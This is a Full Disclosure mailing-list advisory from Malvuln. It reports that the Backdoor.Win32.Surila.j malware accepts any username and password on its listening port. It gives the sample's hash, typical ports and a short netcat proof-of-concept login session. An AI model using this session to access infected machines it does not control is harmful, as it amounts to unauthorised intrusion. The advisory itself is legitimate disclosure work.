full-disclosure - [FD] Backdoor.Win32.Surila.j / Authentication Bypass

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Message-ID: <CAAHK0WS-ACp4GRZqh1JYPFSAM181E1YrUjP3_FA4gAhy8akNmQ@mail.gmail.com>
Date: Mon, 12 Jul 2021 22:21:53 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Surila.j / Authentication Bypass

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/b1cec4b806c71c82bbd9002bdaf21d1f_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Surila.j
Vulnerability: Authentication Bypass
Description: The malware listens on random TCP high port numbers typically
starting with "1" E.g. 12356, 14985, 13850, 19050, 13137. Third-party
attackers who can reach infected systems can logon using any
username/password combination.
Type: PE32
MD5: b1cec4b806c71c82bbd9002bdaf21d1f
Vuln ID: MVID-2021-0289
Dropped files: iexp1orer.exe
Disclosure: 07/12/2021

Exploit/PoC:
nc64.exe x.x.x.x 13137
220 Bot Server (Win32)
USER mal
331 Password required.
PASS vuln
230 Login successful. Have fun.
SYST
215 UNIX Type: L8

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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